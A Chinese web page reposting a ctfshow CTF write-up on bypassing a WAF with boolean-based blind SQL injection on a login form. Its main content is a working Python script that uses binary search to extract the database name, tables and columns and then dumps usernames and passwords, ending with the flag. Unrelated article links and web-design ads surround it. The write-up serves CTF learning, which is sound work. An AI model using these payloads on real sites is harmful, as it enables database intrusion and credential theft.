尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
ctfshow——web WAF绕过
WAF绕过 wp进入页面一个登入框经过测试没有弱口令爆破抓包测试发现存在布尔盲注逻辑为真时逻辑为假时构造payloaduserNameadminpassWord1or(ascii(substr((select(database())),1,1))100)#脚本如下二分法#-*-coding:utf-8-*- import requests import time host http://e3599346-f189-47c3-9e85-1d7ff4fee612.challenge.ctf.show/login.php def getDatabase(): #获取数据库名 global host ans for i in range(1,1000): low 32 high 128 mid (lowhigh)//2 while low high: usernameadmin password1or(ascii(substr((select(database())),%d,1))%d)# % (i,mid) param {userName:username,passWord:password} res requests.post(host,dataparam) if admin in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(database is - ans) def getTable(): #获取表名 global host ans for i in range(1,1000): low 32 high 128 mid (lowhigh)//2 while low high: username admin password 1or(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)database()),%d,1))%d)# % (i, mid) param {userName: username, passWord: password} res requests.post(host, dataparam) if admin in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(table is - ans) def getColumn(): #获取列名 global host ans for i in range(1,1000): low 32 high 128 mid (lowhigh)//2 while low high: username admin password 1or(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)\users\),%d,1))%d)# % (i, mid) param {userName: username, passWord: password} res requests.post(host, dataparam) if admin in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(column is - ans) def dumpTable():#脱裤 global host ans for i in range(1,10000): low 32 high 128 mid (lowhigh)//2 while low high: username admin password 1or(ascii(substr((select(group_concat(username,0x3a,password))from(users)),%d,1))%d)# % (i, mid) param {userName: username, passWord: password} res requests.post(host, dataparam) if admin in res.text: high mid else: low mid1 mid(lowhigh)//2 if mid 32 or mid 127: break ans chr(mid-1) print(dumpTable is - ans) dumpTable()运行结果flagCTF{bool_sql_injection_bypass_is_fun}
RELATED

相关推荐

影刀RPA Excel单元格读写:精确定位与批量操作

影刀RPA Excel单元格读写:精确定位与批量操作

影刀RPA Excel单元格读写:精确定位与批量操作 作者:林焱 Excel操作是影刀RPA最核心的能力之一。大部分自动化流程都涉及Excel数据的读取或写入——读取配置表、写入采集结果、更新数据状态、生成报表。但很多新手在操作Excel时效率很低:逐个…

📅 2026/11/7 14:27:19
27-MCP服务器配置与调试指南

27-MCP服务器配置与调试指南

27 MCP服务器配置与调试指南——从入门到排坑 一、前言 在上篇文章中,我们了解了MCP协议的原理。现在,是时候动手了!本文将带你全面掌握在Codex中配置和管理MCP Server的每一个细节——从命令行的每一个参数,到常见错误的排查方法。 无论你是第一次配置MCP Server的新手…

📅 2026/9/15 11:27:01
2026人像抠图工具实操指南:电脑、手机、在线全渠道精准抠图教程

2026人像抠图工具实操指南:电脑、手机、在线全渠道精准抠图教程

正文2026 年日常修图、证件照制作、自媒体海报、电商人像素材处理,都离不开人像抠图操作。不同使用场景、设备对应的工具在精度、免费权限、操作门槛上差异明显,本文按照电脑专业软件、手机端 APP、在线网页工具、微信小程序四大类整理可用方案&#xff…

📅 2026/9/17 12:32:25
MORE NEWS

更多资讯

📰

工装电工证怎么考 电子证书怎么申请和复审

工装电工证怎么考 电子证书怎么申请和复审 证书过期了不知道怎么复审延期,其实很多人遇到过类似的问题,特别是在像开封这样的施工项目多、岗位变动频繁的地方,电工证一旦过期,不仅影响工作,还可能带来安全隐患。现在,电子证书已经成为主流,但很多人对…

📰

考电工证经验:之前考的证在外省能不能转过来,值不值得考

考电工证经验:之前考的证在外省能不能转过来,值不值得考 之前考的证在外省能不能转过来?这几乎是每个打算 考电工证经验 的人最关心的问题。特别是像我这样的新乡转岗从业者,之前在外地工作,证书一直在手里,但到了新乡才发现, 值不值得考…

📰

读完大专有电工证吗?工地太忙根本没时间复习考试的真实经历

读完大专有电工证吗?工地太忙根本没时间复习考试的真实经历 工地太忙根本没时间复习考试,这几乎成了很多一线电工的共同感受。尤其是那些刚从学校毕业、手里攥着大专文凭的年轻电工,他们心里其实很明白, 读完大专有电工证吗…

📰

汕头低压电工证难不难千万别踩坑

汕头低压电工证难不难千万别踩坑 怕考不过白交培训费?你不是一个人。越来越多的从业者开始关注汕头低压电工证的难度问题,尤其在当前行业对持证上岗要求越来越严格的情况下,很多人担心“花冤枉钱,考不过怎么办?”别急,这篇文章从真实从业者的角度出发,…

📰

灵璧有电工证找工作怎么考?别被中介坑了,全国通用证才是王道

灵璧有电工证找工作怎么考?别被中介坑了,全国通用证才是王道 你是不是在灵璧找电工相关的工作,但发现手里没有电工证,或者有了证又不知道怎么找靠谱的考试机构?别急,今天我就来跟你聊聊 灵璧有电工证找工作…

📰

电工证在什么单位换证?实操考试心里没底怕挂科,全国通用证书怎么考更稳妥

电工证在什么单位换证?实操考试心里没底怕挂科,全国通用证书怎么考更稳妥 实操考试心里没底怕挂科?很多电工朋友在备考特种作业操作证时都有这样的顾虑。尤其是面对全国通用的电工证,换证流程、考试细节、有效期管理这些信息如果不搞清楚,很容易在过程中…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬